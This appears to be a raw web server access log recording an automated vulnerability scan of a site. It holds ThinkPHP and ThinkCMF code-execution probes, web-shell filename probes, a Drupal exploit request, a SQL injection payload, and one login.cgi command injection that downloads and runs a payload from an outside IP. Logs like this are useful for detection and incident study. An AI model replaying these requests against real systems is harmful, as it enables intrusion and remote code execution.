182.254.193.48 - - [26/Feb/2020:00:42:25 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:26 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:26 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:26 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:26 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:29 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:30 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:30 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:30 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:30 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:33 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:37 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:37 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:38 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:38 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:39 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:41 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:41 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:42 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:42 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:45 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:49 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:49 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:49 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:50 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:50 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:50 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:50 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:51 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:51 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:51 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:51 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:52 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:52 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:52 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:52 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:53 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:53 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:53 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:53 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:54 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:54 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:55 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:57 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:57 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:58 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:59 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:00 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:01 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:01 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:01 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:02 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:03 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:05 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:05 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:05 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:06 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:09 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:09 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:09 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:10 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:13 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:13 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:13 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:14 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:17 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:17 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:17 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:18 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:43:38 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:44:01 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:44:25 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:44:49 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:45:13 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:45:37 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:46:01 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:46:25 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:46:49 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
149.12.219.22 - - [26/Feb/2020:00:47:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
182.254.193.48 - - [26/Feb/2020:00:47:13 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
182.254.193.48 - - [26/Feb/2020:00:47:13 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
182.254.193.48 - - [26/Feb/2020:00:47:14 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
182.254.193.48 - - [26/Feb/2020:00:47:14 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
182.254.193.48 - - [26/Feb/2020:00:47:14 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
182.254.193.48 - - [26/Feb/2020:00:47:37 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
182.254.193.48 - - [26/Feb/2020:00:48:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:48:25 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:48:49 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:49:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:49:37 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:50:01 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:50:49 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:51:13 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
66.249.64.152 - - [26/Feb/2020:00:51:17 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.152 - - [26/Feb/2020:00:51:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
182.254.193.48 - - [26/Feb/2020:00:51:37 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
182.254.193.48 - - [26/Feb/2020:00:51:37 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:51:38 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:51:41 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
